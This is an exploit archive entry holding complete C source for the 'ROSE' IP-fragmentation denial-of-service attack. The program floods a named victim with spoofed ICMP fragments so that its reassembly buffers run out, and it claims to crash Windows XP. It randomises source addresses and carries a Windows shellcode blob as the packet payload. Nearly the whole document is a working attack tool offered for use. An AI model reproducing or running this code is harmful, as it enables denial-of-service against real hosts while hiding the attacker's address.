Author

chuck

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-5886

Category

dos / poc

Date add

26-09-2004

Platform

unsorted

======================
ROSE Attack - Newdawn2
======================


/***
    ROSE attack (chuck (at) lemure.net)

    Discovered by:
    gandalf@digital.net
    
    code modified from large IGMP attack by:
    Kox by Coolio (coolio@k-r4d.com)


    Sends out first and last ICMP packet echo request.
    Reportedly works for TCP / UDP as well, since this is
    a IP layer attack.

    Eats up all available packets for fragmentation reassembly.


***/

/* just a thousand kills win XP */

#define NUM_PACKETS 1000


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <pwd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#include <netinet/ip_icmp.h>

/* Figured I try sending some shell code for my random payload...
   doesn't do anything
*/

char code[] =
"\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86"
"\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc"
"\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2\x73\xad\xd9\x05\xce\x72\xfe\xb3"
"\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89"
"\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59"
"\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06"
"\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\x8e"
"\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff"
"\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31"
"\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55"
"\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81"
"\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6"
"\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c"
"\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"
"\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff"
"\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57"
"\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"
"\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"
"\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"
"\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"
"\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"
"\x5b\xc2\x08\x00";

void usage(char *arg)
{
        printf("Rose attack\n");
        printf("Usage: %s <victim> [source]\n", arg);
	printf("If source not specified, will send out from random ip's\n");
        exit(1);
}


unsigned int randip()
{
        struct hostent *he;
        struct sockaddr_in sin;
        char *buf = (char *)calloc(1, sizeof(char) * 16);
	
        sprintf(buf, "%d.%d.%d.%d",
                (random()%191)+23,
                (random()%253)+1,
                (random()%253)+1,
                (random()%253)+1); 
	
	
	
        return inet_addr(buf);
        
}

unsigned short in_cksum(unsigned short *buh, int len)
{
        register long sum = 0;
        unsigned short oddbyte;
        register unsigned short answer;

        while(len > 1) {
                sum += *buh++;
                len -= 2;
        }

        if(len == 1) {
                oddbyte = 0;
                *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
                sum += oddbyte;
        }

        sum = (sum >> 16) + (sum & 0xFFFF);
        sum += (sum >> 16);
        answer = ~sum;
        return answer;
}

int rose(struct sockaddr_in *victim, unsigned long src)
{
        int SMALLICMP = 1000;
        unsigned char *pkt;
        struct iphdr *ip;
        struct igmphdr *igmp;
	struct icmphdr *icmp_pkt;
        struct utsname *un;
        struct passwd *p;

        int i, s,j;
        int id = (random() % 40000) + 500;

        pkt = (unsigned char *)calloc(1, SMALLICMP);
        ip = (struct iphdr *)pkt;
 	icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
        ip->version = 4;
        ip->ihl = (sizeof *ip) / 4;
        ip->ttl = 255;
        ip->tot_len = htons(SMALLICMP);
        ip->protocol = 1;
        ip->id = htons(id);
        ip->frag_off = htons(IP_MF);
        ip->saddr = src;
        ip->daddr = victim->sin_addr.s_addr;
        ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

	icmp_pkt->type = ICMP_ECHO;
	icmp_pkt->code = 0;
	icmp_pkt->checksum = 1000;
	icmp_pkt->un.echo.id = random() % 255;
	icmp_pkt->un.echo.sequence = random() % 255;
	
        for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
            i < SMALLICMP; i++){
	  //pkt[i] = random() % 255;
	  pkt[i] = '\x00';
	}
	j=0;
	for (i=sizeof(struct iphdr) + sizeof(struct icmphdr) + 500;
	     i < sizeof(struct iphdr) + sizeof(struct icmphdr) + 500 + 356; 
	     i++){
	  pkt[i] = code[j];
	  j++;
	}
        if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("error: socket()");
                return 1;
        }

        if(sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,
           sizeof(struct sockaddr_in)) == -1) { 
                perror("error: sendto()");
                return 1;
        }

	/* big frag at end... */

	ip->frag_off = htons(8100);
	//ip->frag_off = htons(8100 | IP_MF);
	sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim, 
	       sizeof(struct sockaddr_in));
	
        free(pkt);
        close(s);
	usleep(1000);
        return 0;
}

int main(int argc, char *argv[])
{
        struct sockaddr_in victim;
        struct hostent *he;
	unsigned long source;
        int i;

        srandom(time(NULL));

        if(argc < 2)
                usage(argv[0]);

        if((he = gethostbyname(argv[1])) == NULL) {
                herror(argv[1]);
                exit(1);
        }
	
	if (argc > 2){
	  source = inet_addr(argv[2]);
	}
	else {
	  source = randip();
	}
	
        memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
        victim.sin_port = htons(0);
        victim.sin_family = PF_INET;

        printf("Sending ICMP fragments:  ");
        fflush(stdout);
        for(i = 0; i < NUM_PACKETS; i++)
	  {
                rose(&victim, source);
		if (argc < 3){
		  source = randip();
		}
                printf("%d\n", i);
                fflush(stdout);
	  }
        printf("\nDONE\n");
        fflush(stdout);
}



#  0day.today [2024-11-16]  #